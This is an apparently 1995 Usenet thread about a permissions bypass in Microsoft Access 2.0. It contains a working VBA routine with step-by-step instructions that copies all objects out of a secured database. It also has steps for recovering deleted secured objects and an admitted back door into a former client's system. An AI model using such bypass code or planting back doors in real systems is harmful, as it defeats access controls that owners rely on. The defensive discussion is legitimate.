Let us hope this is not MS policy:
1. Design a system and tell everybody how secure it is. However, leave
a trapdoor, and gamble on people not finding it too early :-)))
2. Sell a lot.
3. Meanwhile, continue work to make an upgrade of the system.
4. When some smart guys finally discover the trapdoor/bug/feature
and people start yelling for a patch to close the hole,
just tell them to buy the upgrade. This way, make sure the
customers stay faithful and buy their upgrade$$$$$
gunnar
Gunnar....@mfr.uib.no
Medisinsk Fodselsregister Medical Birth Registry of Norway
Universitetet i Bergen University of Bergen, NORWAY
tel 55 97 49 89 fax 55 97 49 98
Craig Larsen
>
>Jerry Jackson wrote:
><snip>
>> The potential dent in my income has expanded even further with the new
>> VB decompiler out there. I suspect it will be used to disable the
>> hardware lock checking portion of my code in several of my VB apps, no
>> doubt by the same hotshot who broke into my Access code.
>
>And of course trying to get your lost income from Microsoft would be like
>trying to get water from a stone. After all, it is their fault, they
>should be held responsible and made accountable for their actions.
From the Limited Waranty agreement in the back of the "Advanced Topics"
book of the ADT.
"NO LIABILITY FOR CONSEQUENTIAL DAMAGES" ...(.... loss of business profits
...)
Unless your state forbids this type of exclusion from pecuniary loss,
you are up the creek without the proverbial paddle..
If you are a developer who has had his packaged compromised by the
security flaw - and - can name the party who is profiting from the
sale of your program:
1) If you have - applied - for a copyright for your application
(correctly) you can sue any offending party for statutory or actual
damages - and - also get your lawyer's fees paid.
2)If you haven't applied for a copyright all you can hope to get is
actual damages ... and you also have a slightly tougher case..
I'd completely write off any hope of successfully suing Microsoft. They
have an army of lawyers... unless you have very deep pockets, you will
get steamrolled...
Craig Larsen
----------------------------------------------------------------------------
Larsen Consulting and Sales HD's, CD-ROM Drives, Modems, Software & More !
Over 1500 Satisfied UseNet/FidoNet Customers Author of the Winsock App FAQ
Email or Talk: lar...@LCS.com Web Pages: http://www.LCS.com/
Trevor Best
AFAICS, the broom is in action.
Guido Grillenmeier
>>module?
>
>deny permission for the creation of new objects of each type
>(tables/queries/forms/reports/macros and modules). The Table
>and Query permissions seem to work, but even when you've denied
>the permissions for other new objects, nothing prevents you from
>going into design mode once you click on the New button on the
>database window.
>
>Its really rather stupid. If I deny a user the permissions
>necessary to create modules or forms, I want them to be stopped
>before they start designing. Why not simply have the New buttom
>disabled as well as the corresponding menu choice?
>
>So the answer is no, there is no way I have found to deny a user
>the ability to open up a new code window.
>
>Peter Miller
>PK Solutions
Well, this is more or less what I believe at this minute as well,
but I if you have a closer look at the Security-Whitepaper, Micro-
soft definitely says, that even though you can't "manually" take
away the rights for any user to create new objects, you can do so
by code!
The following lines are quoted from the whitepaper:
"As in Microsoft Access version 1.x, once a user has
successfully opened a database, there is no built-in
way to prevent the user from creating new objects in
the database. You can, however, use DAO in Access Basic
code to prevent users from creating new tables or
queries in a database by revoking permissions on the
Tables Container object."
Of course they don't give you the code to revoke those permissions
on the tables container object, since it't probably done by a Microsoft
special feature: the secure security-wizard which is available for only
$999 directly from Microsoft ! :)
So, does by any chance anybody know how to revoke permissions on the
tables container object (?) which inturn would revoke the right to
create new objects...???
A lot of readers of this newsgroup would be VERY interessted.
-Guido-
-----------------------------------------------------------------------
Guido Grillenmeier \ "If you pick up a starving dog and make
\ him prosperous, he will not bite you.
Hewlett Packard \ This is the principal difference
Analytical Products Group \ between a man and a dog"
Waldbronn, Germany \ - Mark Twain
e-mail: Guido_Gri...@algrmy.desk.hp.com
or 06995079...@t-online.de
-----------------------------------------------------------------------
Alan M. Dunsmuir
> AFAICS, the broom is in action.
>
Company response to the expected flurry of articles in next week's computer
press.
Patrick Laarhoven
>The following lines are quoted from the whitepaper:
> "As in Microsoft Access version 1.x, once a user has
> successfully opened a database, there is no built-in
> way to prevent the user from creating new objects in
> the database. You can, however, use DAO in Access Basic
> code to prevent users from creating new tables or
> queries in a database by revoking permissions on the
> Tables Container object."
>Of course they don't give you the code to revoke those permissions
>on the tables container object, since it't probably done by a Microsoft
>special feature: the secure security-wizard which is available for only
>$999 directly from Microsoft ! :)
>So, does by any chance anybody know how to revoke permissions on the
>tables container object (?) which inturn would revoke the right to
>create new objects...???
You can get the security wizzard (add-in) for free via ftp or www! Another
option would be to set the general option for show system objects on "yes".
Then you can see the system tables. Now you can revoke the rights on these
tables. Pretty simple, me thinks.
Patrick
Guido Grillenmeier
TO VIEW YOUR CODE AFTERALL!!!
As all readers of this thread know, Steven Drinovsky taught us
a nice lesson about security in MS Access 2.0.
Just as simple and easy as Steven's security workaround is, I
think I have found a simple way to prevent this workaround from
doing what it should't do: Users are not supposed to be able to
view your precious code!!!
Here is, what Steven's code workaround relies on:
sdrin...@wic.tdh.state.tx.us (Steven Drinovsky) wrote:
> **************************************************************
>
> Security Hole In Microsoft Access 2.0
<snip>
> The first step in recovering a deleted object is to look at the
> system table MSysObjects. This table list all the objects in
> the current database including deleted objects. To open this
> table set the "Show System Objects" property to true under the
> general options menu. This table has many columns that Access
> uses to gather information about the object, the one we are
> interested in is the "Name" column in particular the names
> beginning with a "~TMP." These are your deleted objects. To open
> one of these objects you need to know the type of the object from
> the "Type" column. Possible values include 1,4,5,6 for tables,
> -32761 for Modules, -32764 for Reports, -32766 for Macros,
> and -32768 for Forms. Once you know the type, you can view the
> deleted object by one of the following commands: OpenTable,
> OpenModule, OpenReport, or OpenForm. For Example, typing:
>
> DoCmd OpenTable "~TMPCLP-305701"
>
> in the immediate window will open the deleted table ~TMPCLP-305701.
<snip>
Steven then describes, how to delete a secured object and retrieve
it's code using the CopyObject and OpenModule/Form... command.
An easy way to prevent this from happening is to RETRIEVE ALL RIGHTS
OF THE MSysObjects TABLE, so that the "bad" Users can't get at the
cryptic name of the deleted table !!!
This will not change the way your app works, but one can't use the
CopyObject and the OpenModule/Form/Module... since the name of the
deleted object(s) are not known!
What you still can't prevent users from doing, is to destroy your
application (by deleting secured objects with the rename function),
but that should not matter too much, since your data is safe
(secured tables and queries can not be deleted this way) and the
user would only destroy his own program.
Any comments to this "security solution" are very welcome!
Terri-Lynn Torrez
>
> I've already written off my loss. I wasn't adequately protected by
> written contract to get much, if anything, from them. It was one of
> those cases where the company had always been very proper about paying
> me...until the company changed hands. They even paid me in advance for
> the last two projects I did for them just so I'd put them at the top
> of my priority list.
If the amount is significant to you, don't be put of by a lack of
potential contract. I had a very similar situation. Luckily for me,
my husband is a Harvard law student. The biggest thing he learned in
his first year was that contract law is written to protect the little
guy. Even if he's stupid, illiterate and agreed to sign his life away,
and writes his complaint on a napkin.
In this case an oral contract is as good as a written one. (I had no
written contract at all.) And, past history is even more important. If
the contract has operated over time on certain understandings, then you
should be able to continue to count on them. Even if the company was
taken over. It is the new company's responsibility to understand the
existing contract. And if they don't renegotiate, then the terms remain]
the same.
The company I was working for tried not to pay me for my last two months
of work. Eventually I convinced them to consult with their lawyer, and
even without any written contract, the decided to settle most of what they
owed me. I could have gotten the rest and probably some damages from
them if i'd taken it to court, but by that point the amount in question
was relatively small and I had moved out of state. The point is, if
the money is worth it, sue them!
Patrick Laarhoven
> YOU CAN PREVENT INTRUDERS OF YOUR DATABASE
> TO VIEW YOUR CODE AFTERALL!!!
>As all readers of this thread know, Steven Drinovsky taught us
>a nice lesson about security in MS Access 2.0.
>Just as simple and easy as Steven's security workaround is, I
>think I have found a simple way to prevent this workaround from
>doing what it should't do: Users are not supposed to be able to
>view your precious code!!!
>Here is, what Steven's code workaround relies on:
>sdrin...@wic.tdh.state.tx.us (Steven Drinovsky) wrote:
[workaround snipped]
><snip>
>Steven then describes, how to delete a secured object and retrieve
>it's code using the CopyObject and OpenModule/Form... command.
>An easy way to prevent this from happening is to RETRIEVE ALL RIGHTS
>OF THE MSysObjects TABLE, so that the "bad" Users can't get at the
>cryptic name of the deleted table !!!
>This will not change the way your app works, but one can't use the
>CopyObject and the OpenModule/Form/Module... since the name of the
>deleted object(s) are not known!
Check out Peter Miller's code. It works with only the CopyObject.
Apparently, it is not the elaborate rename and undelete that does the
trick, but it seems that a CopyObject alone would suffice too. The code
Peter posted would very surely get all code/forms etc. out of the DB
protected in the way you describe.
Patrick
Weiqi Gao
> YOU CAN PREVENT INTRUDERS OF YOUR DATABASE
> TO VIEW YOUR CODE AFTERALL!!!
>An easy way to prevent this from happening is to RETRIEVE ALL RIGHTS
>OF THE MSysObjects TABLE, so that the "bad" Users can't get at the
>cryptic name of the deleted table !!!
He can still loop through all the possible cryptic names ~TMPCLP000000
to ~TMPCLP999999, or ~TMPCLP-000000 to ~TMPCLP-999999. Let's say the
CopyObject takes 1/10 second to execute. Looping over the above
ranges will only take him/her a day or so. This is just a guess.
Copying an Object might take only 1/10 milisecond rather than 1/10
second, in that case the thing can be cracked in one minute.
--
Weiqi Gao
weiq...@crl.com
Philipp
Guido_Gri...@algrmy.desk.hp.com says...
-...
-
-Well, this is more or less what I believe at this minute as well,
-but I if you have a closer look at the Security-Whitepaper Micro-
-soft definitely says, that even though you can't "manually" take
-away the rights for any user to create new objects, you can do so
-by code!
-
-The following lines are quoted from the whitepaper:
-
- "As in Microsoft Access version 1.x, once a user has
- successfully opened a database, there is no built-in
- way to prevent the user from creating new objects in
- the database. You can, however, use DAO in Access Basic
- code to prevent users from creating new tables or
- queries in a database by revoking permissions on the
- Tables Container object."
-Of course they don't give you the code to revoke those permissions
-on the tables container object, since it't probably done by a Microsoft
-special feature: the secure security-wizard which is available for only
-$999 directly from Microsoft ! :)
-
The Microsoft Knowledge Base is publically available at:
http://www.microsoft.com/kb/indexes/access.htm
Search for access basic permissions and you'll find:
INF: How to Prevent Users from Creating New Databases [access]
ID: Q123483
and
INF: How to Use DAO to Assign or View Permissions [access]
ID: Q112106
This will put you into the right direction, I guess.
Location of Access 2.0 Security Wizard
http://www.microsoft.com/kb/softlib/mslfiles/wx1051.exe
....don't know if it costs $999 to download
:-) Philipp
psch...@ufc.mts.dec.com
Philipp
Guido_Gri...@algrmy.desk.hp.com says...
>...
> YOU CAN PREVENT INTRUDERS OF YOUR DATABASE
> TO VIEW YOUR CODE AFTERALL!!!
>
>Any comments to this "security solution" are very welcome!
>
>-Guido-
>
Hi Guido,
your workaround relies on the initial idea from Steve Drinovski.
But on 16.11. Peter Miller worked out a much simpler method:
Without renaming and restoring anything...:
You just copy the secured objects using
DoCmd CopyObject in a macro/script manually
or in a module for automation
Try it out! (see below)
- Tut mir leid, wenn ich Dich enttäuschen muß.
- Arbeite selbst im Support und suche ein Workaround für
- unsere und MSs Kunden, stehe dem aber fassungslos gegenüber
:-) Philipp
Code From : Peter Miller
PK Solutions
================================================================
INSTRUCTIONS:
----------------------------------------------------------------
Open your secured database, bypassing the AutoExec macro (if one
exists) by holding down the shift key as you open the MDB.
Move to the Modules tab, and create a new module. Don't save it.
Copy the following subprocedure into this new module.
Open the Immediate Window, and type 'Insecure'.
An unsecure application called INSECURE.MDB will be created in
the default directory.
==================================================================
Sub Insecure ()
On Error Resume Next
DoCmd Hourglass True
Dim I%, Tmp, MyDb As Database
Kill "insecure.mdb"
Set MyDb = DBEngine(0).CreateDatabase("insecure.mdb", DB_LANG_GENERAL)
Set MyDb = DBEngine(0)(0)
For I = 0 To MyDb.TableDefs.count - 1
Tmp = MyDb.TableDefs(I).name
If Mid(Tmp, 2, 3) <> "Sys" Then DoCmd CopyObject "Insecure.mdb",
Tmp, A_TABLE, Tmp
Next I
For I = 0 To MyDb.QueryDefs.count - 1
Tmp = MyDb.QueryDefs(I).name
DoCmd CopyObject "Insecure.mdb", Tmp, A_QUERY, Tmp
Next I
For I = 0 To MyDb.containers("Forms").documents.count - 1
Tmp = MyDb.containers("Forms").documents(I).name
DoCmd CopyObject "Insecure.mdb", Tmp, A_FORM, Tmp
Next I
For I = 0 To MyDb.containers("Reports").documents.count - 1
DoCmd CopyObject "Insecure.mdb", Tmp, A_REPORT, Tmp
Tmp = MyDb.containers("Reports").documents(I).name
Next I
For I = 0 To MyDb.containers("Scripts").documents.count - 1
Tmp = MyDb.containers("Scripts").documents(I).name
DoCmd CopyObject "Insecure.mdb", Tmp, A_MACRO, Tmp
Next I
For I = 0 To MyDb.containers("Modules").documents.count - 1
Tmp = MyDb.containers("Modules").documents(I).name
DoCmd CopyObject "Insecure.mdb", Tmp, A_MODULE, Tmp
Next I
DoCmd Hourglass False: Beep
MsgBox "The unprotected app (INSECURE.MDB) has been created.", 64
End Sub
Philipp
>
>
>In article <48livb$7...@fuji.ixl.net> GeorgeM wrote:
>>Is there a way to prevent a user from being able to create a new
>>module?
>
>Actually, I was suprised. When establishing security, you can deny permission
>
>Peter Miller
>PK Solutions
>
Dear Peter and thousands (millions) of Access users worldwide,
You're the victim of a most common misunderstanding of assigning permissions for
new objects like <new tables/queries> or <new forms>.
Your assignments are just meant as a DEFAULT set of permissions for objects
created afterwards.
It doesn't mean you're able to prevent a user to add whatever he wants to a databased
he's allowed to open.
Have a look at this (freely copied from msaccess.hlp)
"To assign default permissions for new objects
...
5 Select the default permissions you want to assign for that object type, and
then choose the Assign button."
YES THEY SAY "DEFAULT PERMISSION"
THEY DONT SAY YOU CAN PREVENT A USER
FROM CREATING A NEW OBJECT...
Unbelievable because there's no way to do this yet.
The real security hole you, Peter, found out is only the fact that
DoCmd CopyObject doesn't check any READ DATA/READ DESIGN permissions.
And this is really a big hole.
Congratulations Steve and Peter.
:-) Philipp
Lyndon Hills
In article <48prll$a...@isoit109.bbn.hp.com>, Guido Grillenmeier (Guido_Gri...@algrmy.desk.hp.com) writes:
> "As in Microsoft Access version 1.x, once a user has
>
>
>Of course they don't give you the code to revoke those permissions
>
>
>tables container object (?) which inturn would revoke the right to
>create new objects...???
>
what you are looking for. (I've just done it tho' I haven't got
time to experiment). There are various constants starting with DB_
like DB_SEC_CREATE the user or group can create tables. There are
also similar settings for forms etc that suggest that you can make
them undeletable. It's not clear if this would apply to the method
under discussion, of deleting something by creating something else
with the same name.
Lyndon
Guido Grillenmeier
>Guido Grillenmeier <Guido_Gri...@algrmy.desk.hp.com> wrote:
(snip)
>>So, does by any chance anybody know how to revoke permissions on the
>>tables container object (?) which inturn would revoke the right to
>>create new objects...???
>
> Another option would be to set the general option for show system
> objects on "yes".
> Then you can see the system tables. Now you can revoke the rights
> on these tables. Pretty simple, me thinks.
Sorry to say that that's too simple, Patrick, since revoking rights
on the system objects, so it seems, still doesn't revoke the rights
to create NEW objects - or am I doing something wrong...?
Gunnar Dalseth
>
>Steven Drinovsky <sdrin...@wic.tdh.state.tx.us> wrote:
>
>>Jerry Jackson wrote:
>><snip>
>>> The potential dent in my income has expanded even further with the new
>>> VB decompiler out there. I suspect it will be used to disable the
>>> hardware lock checking portion of my code in several of my VB apps, no
>>> doubt by the same hotshot who broke into my Access code.
>><snip>
>
>>And of course trying to get your lost income from Microsoft would be like
>>trying to get water from a stone. After all, it is their fault, they
>>should be held responsible and made accountable for their actions.
>
>Now I'm battling the temptation to dial in to my ex-customer's central
>database computer (through the back door I built in to it) and perform
>certain tasks. I already dialed in just to make sure they didn't move
>the modem and even had my finger resting on the "point of no return"
>key, but I chickened out and hung up.
Be glad you did not push the key. If we had a right to answer with
unlawful means when we are treated unlawfully by others, the world
would be much, much worse (right to be unlawful? a terrible
contradiction). Or what would make it worse, when people _think_
they are treated unlawfully. It would also for sure make it very
hard to do something more about the matter later in the courts...
And then the conscience...
Sorry, I do not like preaching the law, but there is a point to it.
Gunnar
Jerry Jackson
>> Steven Drinovsky <sdrin...@wic.tdh.state.tx.us> wrote:
>>
>> I've already written off my loss. I wasn't adequately protected by
>> written contract to get much, if anything, from them. It was one of
>> those cases where the company had always been very proper about paying
>> me...until the company changed hands. They even paid me in advance for
>> the last two projects I did for them just so I'd put them at the top
>> of my priority list.
>If the amount is significant to you, don't be put of by a lack of
>potential contract. I had a very similar situation. Luckily for me,
>my husband is a Harvard law student. The biggest thing he learned in
>his first year was that contract law is written to protect the little
>guy. Even if he's stupid, illiterate and agreed to sign his life away,
>and writes his complaint on a napkin.
In reality, my contract, even though it was mostly oral, was never
with the new owner of the company.
I met with the previous owner of the company on other business and
told him what had happened. It turns out his contract with them is so
tightly constructed, technically they probably can't even sneeze
without his consent. He called and persuaded the new owner to pay me
for everything if I agreed to give them the source code to the parts
written in VB.
I DID give them fully functional source code. It compiled and ran
fine. However, I removed all comments and spent many hours with the
search and replace function of the editor changing names of all
procedures and variables to the most cryptic names possible. Then of
course they'll realize they need about $1500 more worth of VBX's to
use it. <GGG>
I now have all my money (and then some, because I normally give a
volume discount which I did not in this case) and a contract I can
live with concerning their use of the source code.
In a couple months, they'll be the first to realize they have the OLD,
poor in comparison, version of the system when I release the new
version with much more features.
--
Jerry Jackson (je...@iag.net)
Weiqi Gao
>In article <4901vq$o...@mrnews.mro.dec.com> none (Philipp) writes:
>>your workaround relies on the initial idea from Steve Drinovski.
>>But on 16.11. Peter Miller worked out a much simpler method:
>>Without renaming and restoring anything...:
>As far as I'm concerned, it's the DATA (Tables) in a database that needs
>protecting the most. Any word on whether the data-protection in an Access
>database can be broken (on tables)?
The tables are safe for now. I don't know if the "Nobody" who can get
into the database window can manage to descrypt the database. Once
the database is decrypted, all the data would be wide open.
--
Weiqi Gao
weiq...@crl.com
Michael S. Kaplan
before it is compromised too.>>
It depends on what you mean by compromised. Limiting discussion to
Access 95/Jet 3 databases (since quite enough has been said here
about Access 2 databases), hacking into them is not quite so easy.
But I don't know of a Windows based app I have ever seen that cannot
be broken with the following set of tools (and this includes most NT
applications, as there are FEW people who truly understand what it
takes to fully implement the C-2 level security it offers:
1)patience
2)determination
3)a hex editor
4)a Windows message monitor
With the exception of the previously discussed (and admittedly large)
design flaw in Access 2, security there was above adequate for a PC
desktop db. Access 95 has no known issues of this type and thus IMO
falls about where we thought Access 2 fell.
But my best advice (if you really do have the sort of clients who do
this sort of thing) is one or more of the following:
1) Make sure you have written the legal language of the license well
enough and then consult with an attorney who can make these clients
regret the ILLEGAL acts that they did in taking this data out;
2) Get some new clients who are not so openly dishonest in their
dealings with developers;
3) Study up on encryption algorithms and start working in a platform
that is not as "top level" as Access is, as TRUE security requires a
lot more control over the environment then Access or any other such
app can provide.
Michael Kaplan
10236...@compuserve.com
Michae...@msn.com
CIS/MSN Access Fora MVP
Michael S. Kaplan
obfuscation principle (a.k.a. the Purloined Letter method of hiding
something by keeping it in plain sight) and in no way contributes to
security.
The only people it *may* protect you from are those who take
advantage of Mr Miller's generosity in providing the code to crack
your database, as they will not be able to completely break your
database (sans tables) without having some knowledge of Access itself.
Of course, none of *them* would have been able to do it in the first
place without Peter's generosity, so please be sure to drop him a
line thanking him. I know he will appreciate it.
Michael S. Kaplan
10236...@compuserve.com
Michae...@msn.com
CIS/MSN Access Fora MVP
and is kind to his cats
Michael S. Kaplan
leave a trapdoor, and gamble on people not finding it too early>>
This is *way* too paranoid for me..... this looks more to me like a
design flaw... an implementation of a macro action that simply
performs an action without doing it in the proper security context.
I think it is beyond ridiculous to assume that this was done on
purpose.
Access 2 has never been "unbreakable" and to my knowledge there
weren't people running all over the place who had knowledge of this
technique (so as "elementary" as the flaw is, it is neither obvious
nor simple to find).
You'll find your outlook on life will be better if you don't wake up
in the morning and assume someone is trying to screw you over
(because if they're not then where does that leave you for suspecting
them?)
Michael
Michael S. Kaplan
available on the MSAccess fora on both Compuserve and the Microsoft
Network.
Michael S. Kaplan
I don't have a code sample handy at the moment but it is the method
by which you can keep new tables/queries from being created.
Michael
Michael S. Kaplan
Trigeminal Software, Inc.
Sundial Services
>I DID give them fully functional source code. It compiled and ran
>fine. However, I removed all comments and spent many hours with the
>search and replace function of the editor changing names of all
>procedures and variables to the most cryptic names possible. Then of
>course they'll realize they need about $1500 more worth of VBX's to
>use it. <GGG>
>I now have all my money (and then some, because I normally give a
>volume discount which I did not in this case) and a contract I can
>live with concerning their use of the source code.
>In a couple months, they'll be the first to realize they have the OLD,
>poor in comparison, version of the system when I release the new
>version with much more features.
Umm... if they have an Internet connection, or a friend who does, then they've
probably already called you (or their attorneys) by now. :-/
Steven Drinovsky
>
> > Steven Drinovsky <sdrin...@wic.tdh.state.tx.us> wrote:
> >
> > I've already written off my loss. I wasn't adequately protected by
> > written contract to get much, if anything, from them. It was one of
> > those cases where the company had always been very proper about paying
> > me...until the company changed hands. They even paid me in advance for
> > the last two projects I did for them just so I'd put them at the top
> > of my priority list.
This was not my post. I have been misquoted here, I replied to this
post but did not write this. :)
Steven
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ Steven Drinovsky sdrin...@wic.tdh.state.tx.us +
+ Texas Department of Health, home (512) 453-2317 +
+ WIC Automation work (512) 458-7111x3476 +
+ Just say no to Win95; Linux Yes Pager 800-624-7243 PIN#145-9112 +
+ My opinions are my own and by no means represent the state of Texas. +
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Copyright (C) 1995 by Steven Drinovsky.
Alan M. Dunsmuir
> The tables are safe for now. I don't know if the "Nobody" who can get
> into the database window can manage to descrypt the database. Once
> the database is decrypted, all the data would be wide open.
This is rubbish. Th Tables are secure whether or not the Database is
encrypted. (Except, of course, that *anything* on a PC in an unencrypted
form is potnially open to hacking.)
The major problem is that a widely-used method (I've used it and recommended
its use myself) of changing permissions 'on the fly' involves the
programmatic launching of a second session, in an second WorkSpace, with
Admins permissions. This in turn requires that a valid Admins UserName and
password has to be hard-coded into a module, which until now everybody has
considered to be quite safe.
We now know that it is actually anything but safe.
Weiqi Gao
>sun...@primenet.com (Sundial Services) wrote:
>> As far as I'm concerned, it's the DATA (Tables) in a database that
>> needs protecting the most. Any word on whether the data-protection
>> in an Access database can be broken (on tables)?
>There doesn't seem to be a direct way to get at the data in the
>tables (if they are correctly secured), but since you now have the
>ability to hack the code, you should also easily be able to find a
>way to access the data in the tables ! (it's all in the code...)
All you have to do is to become the super user "Admin"! Haven't tried
it yet.
--
Weiqi Gao
weiq...@crl.com
Weiqi Gao
>In article: <498he3$3...@nntp.crl.com> weiq...@crl.com (Weiqi Gao) writes:
>> The tables are safe for now. I don't know if the "Nobody" who can get
>> into the database window can manage to descrypt the database. Once
>> the database is decrypted, all the data would be wide open.
>This is rubbish. Th Tables are secure whether or not the Database is
>encrypted. (Except, of course, that *anything* on a PC in an unencrypted
>form is potnially open to hacking.)
^^^^^^^^^^^^^^^This is what I'm saying! I wouldn't
call data that's open for hacking "secure". You couldn't believe the
sniffing power and destructive power of the so called "clueless,
junior, unsophiscated, don't-know-how-to-double-click" users.
Susan: Hey, Judy, come here quick!
Judy: What's up?
Susan: I accidentally dragged the file next to my diary to Word, and
guess what I found? (whispering) Alan is making $100,000 a year!
Judy: Where, where?
Susan: See, right here. It says "JudyK10000SusanM10000AlanD100000".
...... :)
--
Weiqi Gao
weiq...@crl.com
Sundial Services
>sun...@primenet.com (Sundial Services) wrote:
>> As far as I'm concerned, it's the DATA (Tables) in a database that
>> needs protecting the most. Any word on whether the data-protection
>> in an Access database can be broken (on tables)?
>There doesn't seem to be a direct way to get at the data in the
>tables (if they are correctly secured), but since you now have the
>ability to hack the code, you should also easily be able to find a
>way to access the data in the tables ! (it's all in the code...)
Phew! Thank goodness! Because, if the tables are secure, then having access
to the code does *not* give you access to the data. (I'm presuming of course
that the database itself is encrypted.)
If the user is not logged in under a userid that can access a given table,
then no amount of code can do it for him unless the programmer's monkeying
around with additional database-sessions.
/mr/
Philipp
nearly everybody tells us:
Tables are secure and cannot be copied via DoCmd CopyObject within a secure
database. BUT HOW?
The answer:
This is not so by default.
You have to assign the (NOT DB_SEC_CREATE) value to the permissions-attribute of
the container object.
i.e.
sub SecureTables ()
dim db as database
set db=currentdb()
db.containers!tables.username="users"
db.containers!tables.permissions=db.containers!tables.permissions AND_
(NOT DB_SEC_CREATE)
end sub
This prevents any user of the "users"-group from creating new tables from within the
secured database.
So the CopyObject-Security-Hole won't work with tables.
The problem is: Access 2.0 doesn't feature the DB_SEC_CREATE value for
any other document-object like forms or modules. (Access 7 -95- does!)
A practicable way to protect access 2 forms'n'modules from symply being copied
using 'DoCmd CopyObject' within a macro or via code still hasn't been found in this
thread.
Is there any?
:-O Philipp
Weiqi Gao
><<1. Design a system and tell everybody how secure it is. However,
>leave a trapdoor, and gamble on people not finding it too early>>
Michael, since your post is several days later than the original
posts, by the time your reached my news server the original post is
gone. It will help the discussion a lot if you have attributed the
remark you quoted above properly to its rightful author. It simply
helps the flow of ideas.
>This is *way* too paranoid for me..... this looks more to me like a
>design flaw... an implementation of a macro action that simply
>performs an action without doing it in the proper security context.
>I think it is beyond ridiculous to assume that this was done on
>purpose.
Paranoid is what it takes to be a good security export. Of course, I
have never put Access into places where security is a big concern.
Still, it seems to me more rediculous to assume that this was not done
on purpose.
Think about it: you are writing a function of some sort that handles 6
different cases. For each case you have to check the permissions
before you actually perform some action. You wrote the first case,
and tested it, and it works alright. You wrote the second case, and
tested it, and it works alright. Then you went on to write the third
case, and all of a sudden you FORGOT to check the security? And you
tested your code, and it PASSED the test? I say "No Way!"
>Access 2 has never been "unbreakable" and to my knowledge there
>weren't people running all over the place who had knowledge of this
>technique (so as "elementary" as the flaw is, it is neither obvious
>nor simple to find).
>You'll find your outlook on life will be better if you don't wake up
>in the morning and assume someone is trying to screw you over
>(because if they're not then where does that leave you for suspecting
>them?)
That's some people's only job. They wake up, and try to figure out if
their data is still secure. They are called "Security Exports."
--
Weiqi Gao
weiq...@crl.com
Weiqi Gao
Alan M. Dunsmuir
Kaplan) writes:
> Michael S. Kaplan
Welcome aboard, Mike. I thought you'd like it here <g>.
Alan M. Dunsmuir
> ^^^^^^^^^^^^^^^This is what I'm saying! I wouldn't
> call data that's open for hacking "secure". You couldn't believe the
> sniffing power and destructive power of the so called "clueless,
> junior, unsophiscated, don't-know-how-to-double-click" users.
>
Then of course it is not specifically an Access question, which is what
this thread is supposed to be addressing. Whether the Database is encrypted
or not has absolutely no bearing on the Access2 Security Hole, and the fact
that unless you hard-code Admin-level UserNames and Passwords into your
modules (which is precisely what some of us have been doing), or do not use
Access Security properly, your Tables and Queries remain as secure as we
always thought them to be.
Terri-Lynn Torrez
> available on the MSAccess fora on both Compuserve and the Microsoft
> Network.
>
> Michael
>
Can someone reprint it here? Or at least give us the gist of it?
Weiqi Gao
>
>> Microsoft has made an official response to the bug, which is
>> available on the MSAccess fora on both Compuserve and the Microsoft
>> Network.
>>
>> Michael
>>
>
>Can someone reprint it here? Or at least give us the gist of it?
>
I grabbed the CompuServ disks that they mail me every two weeks and
installed it on my computer. I gave away my credit number, and logged on as
Logan-Hogan, knowing full well I'll spend the next 29 days trying to call
CompuServ to cancel my free 10 hour account!
I went in there (to the Access forum, oh imperssive! Ken Getz is there
answering questions, etc. and Michael Kaplan and Alan Dunsmir were all over
the place!) and found the Security thread. I saw 53 articles, read some of
them. The tone there is a little bit different than in this group. Several
of the postings there seems to lean on the side of "We know ther is a hole
in the bucket, but do you have to yell so loud as to let the whole world to
know that? My code's life depends on it. The less people to know about
this the less the chance my code will be broken into---before I upgrade it
to Access 95." --OR-- "The bad guys has already gotten hold of Peter
Miller's INSECURE.MDB form the internet. They are going door to door
opening up secured *.MDBs just for the fun of it."
Several people mentioned that Microsoft has already posted an official
response in the forum. And they have supplied the message number, #468231.
However, when I went ahead and did a search on message #468231, the message
is nowhere to be found. I'm not the only one who cannot find the message,
several other posts there also mentioned the same thing (can't find the
message.)
My CompuServe expertise is very limited and I don't know how to retrieve a
message that not there any more. Please, especially regular users of
CompuServe, could you post the Microsoft Official Response to this news
group if you have saved it from the CompuServe Access forum!!!
BTW, the subject of the CompuServe thread is something like:
Access 2.0 Security = JOKE!!!
--
Weiqi Gao
weiq...@crl.com
Gunnar Dalseth
>
>Microsoft has made an official response to the bug, which is
>available on the MSAccess fora on both Compuserve and the Microsoft
>Network.
But not on the Internet, huh? When do they remember that there is
something out there beyond New Mexico, Alaska, Connecticut (New
England?). Okay, so they do not officially support this group.
Guess I knew :-))) Can somebody be so kind as to take the response
and mail it here? Or is it copyrighted, only to be handed out by
MS people?
Patrick Laarhoven
>In article <4901vq$o...@mrnews.mro.dec.com> none (Philipp) writes:
>>your workaround relies on the initial idea from Steve Drinovski.
>>But on 16.11. Peter Miller worked out a much simpler method:
>>Without renaming and restoring anything...:
>As far as I'm concerned, it's the DATA (Tables) in a database that needs
>protecting the most. Any word on whether the data-protection in an Access
>database can be broken (on tables)?
I was wondering about this too. I looked at the access encryption scheme
and I guess it would not be too hard to crack it.
The header of the mdb is always crypted with the same pattern. If you
decode the header I'm pretty sure it will contain the key for the rest of
the mdb. I will not believe that this can't be hacked (pretty easily) or
that is hasn't been done yet. A true hacker wont reveal he did this, but
will continue stealing information.
Furthermore access security relies on the software to enforce it. That
reminds me of the bug in the unix command "quota". If you run the normal
quota command you can't see other users' quota, but if you recompile quota
(with the check for permissions commented out) then you can see quota
restrictions you shouldn't be able to see. just like this, I think access
has a few bytes that have to be "flipped" to turn security off. Again a
real hacker would have no trouble with this.
All in all, I guess that access security is a joke to someone who "needs"
to hack it. I wouldn't trust my classified data to be save in Access.
Patrick
Guido Grillenmeier
>Guido Grillenmeier <Guido_Gri...@algrmy.desk.hp.com> wrote:
>>sun...@primenet.com (Sundial Services) wrote:
>>> needs protecting the most. Any word on whether the data-protection
>>> in an Access database can be broken (on tables)?
>
>>tables (if they are correctly secured), but since you now have the
>>ability to hack the code, you should also easily be able to find a
>>way to access the data in the tables ! (it's all in the code...)
>
>it yet.
>--
>Weiqi Gao
>weiq...@crl.com
That cerainly doesn't help, if all rights for the "Admin" user
were taken away from the tables !
Guido Grillenmeier
> The major problem is that a widely-used method (I've used it and
> recommended its use myself) of changing permissions 'on the fly'
> involves the programmatic launching of a second session, in a
> second WorkSpace, with Admins permissions. This in turn requires
> that a valid Admins UserName and password has to be hard-coded
> into a module, which until now everybody has considered to be
> quite safe.
>
>We now know that it is actually anything but safe.
